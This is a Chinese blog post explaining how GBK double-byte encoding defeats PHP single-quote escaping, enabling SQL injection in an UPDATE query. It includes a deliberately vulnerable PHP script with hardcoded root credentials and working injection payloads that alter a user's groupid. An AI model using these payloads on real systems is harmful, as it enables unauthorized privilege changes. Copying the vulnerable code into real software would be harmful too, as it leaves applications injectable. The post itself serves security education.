php 拼接 单双引拼接,双字节编码绕PHP单引号转义又一例: SQL UPDATE注入

原理和《利用双字节编码突破PHP单引号转义限制进行SQL注入》 http://www.redicecn.com/view-256.html 是一样的。

// by redice 2010.10.21

// 连接mysql数据库

$conn=0;

$conn = mysql_connect("localhost","root","redice2009");

if (!$conn)

{

die("不能打开数据库连接,错误: " . mysql_error());

}

// 选择数据库

mysql_select_db("test", $conn);

// 设置mysql数据库输出数据的字符集

mysql_query("set names 'gbk'");

// 修改密码过程

$newpass=$_REQUEST[p];

$sql = "update user set pass='$newpass' where name='redice'";

echo "执行的查询=".$sql."";

if(!mysql_query($sql,$conn))

{

echo mysql_error();

}

?>

(1)在gpc=off的情况下。

提交p=123',groupid='1  SQL语句变为:

update user set pass='123',groupid='1' where name='redice'

(2)在gpc=on的情况下。

利用GBK双字节编码,可以绕过单引号转义。

分析如下:

提交p=123%d5',groupid=1 where id=1%23

经浏览器url编码后为:

p=123%d5%27,groupid=1%20where%20id=1%23

再经PHP url解码后为:

p=1230xd50x27,groupid=10x20where0x20id=10x23

再经PHP转义后为(在0x27前插入0x5c):

p=1230xd50x5c0x27,groupid=10x20where0x20id=10x23

由于服务端采用gbk编码连接数据库(set names 'gbk'),因此上述字节序列被MySQL作为GBK字符理解后即为:

p=123誠',groupid=1 where id=1#

PS:0xd50x5c 对应了汉字誠,从而吃掉了单引号,绕过转义

最终SQL语句变为:

update user set pass='123誠',groupid=1 where id=1#' where name='redice'

PS:%23解码后为#,用以注释之后的SQL语句,使之符合语法规范。

556ac025da808b380c1d3325f8cf9cb0.gif

附测试程序:

File: Click to Download

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值